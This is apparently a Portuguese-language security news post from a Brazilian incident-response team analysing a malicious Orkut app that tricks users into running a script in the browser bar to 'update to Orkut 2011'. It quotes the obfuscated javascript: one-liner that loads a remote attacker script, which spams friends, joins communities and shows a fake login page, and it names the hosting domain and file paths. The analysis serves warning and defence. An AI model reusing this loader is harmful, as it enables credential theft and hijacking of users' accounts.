Problemas com “apps” maliciosos no Orkut continuam

Uma análise realizada pela equipe de Análise e Respostas de Incidentes de Segurança do site Linha Defensiva (ARIS-LD) detectou uma atividade maliciosa em mais um aplicativo do Orkut, induzindo usuários ao erro a executar um script no navegador. O problema acontece mesmo após o Google ter prometido melhorar o controle sobre os apps no site da rede social.

Recentemente um falso aplicativo para o Orkut roubou a conta de milhares de usuários do site, demonstrando a fragilidade com que o site tem para a verificação dos aplicativos criados pelos usuários. Foi então que o Google prometeu melhorar seu processo de checagem dos aplicativos submetidos.

Diferente do aplicativo malicioso anterior, o novo carrega uma página solicitando ao usuário a executar um script na barra do navegador, fazendo com que o usuário entre em algumas comunidades e possa ter a sua conta comprometida.

O aplicativo conhecido como “Tirinhass Dr Bielownax” possui a appId de número 350730531358. Quando o usuário visita um perfil que possua este aplicativo, será carregada outra página solicitando ao usuário a atualizar o Orkut para a “versão 2011”.

A página, hospedada no domínio aplicativomaster.com, continua no ar e já foi denunciada. O mesmo domínio hospeda o javascript que o usuário executa no seu navegador. Ao executar o script malicioso na página inicial, o usuário será redirecionado para uma tela falsa de login, induzindo o usuário a informar suas credenciais de acesso ao site. Mesmo digitando uma senha inválida, a página redirecionará novamente para a página original do Orkut.

Além disso, o script malicioso faz com que o usuário participe de cinco comunidades do Orkut, além de enviar recados para amigos contendo a seguinte mensagem:

O aplicativo (appId=350730531358) possui basicamente as seguintes linhas de código:

http://www.aplicativosmaster.com/gsdghjk/x.js

gadgets.util.runOnLoadHandlers();</body></html>

O arquivo x.js redireciona o usuário para a página http://www.aplicativosmaster.com/gsdghjk/indexs.htm, indicada na primeira imagem deste post. Tal página solicita o usuário a executar o seguinte comando na página inicial do Orkut:

javascript:d=document;c=d.createElement(‘script’);d.body.appendChild(c);c.src=’http’+’://’+’j.’+’mp/’+’i8j’+’cMw’;void(0);

O script aponta para o endereço j.mp/i8jcMw, que irá redirecionar o usuário para outro link, o endereço aplicativosmaster.com/gsdghjk/1.js. Este arquivo é o principal neste ataque, pois faz com que o usuário envie recados para os amigos da lista, entre em determinadas comunidades e redireciona o usuário para uma falsa janela de login.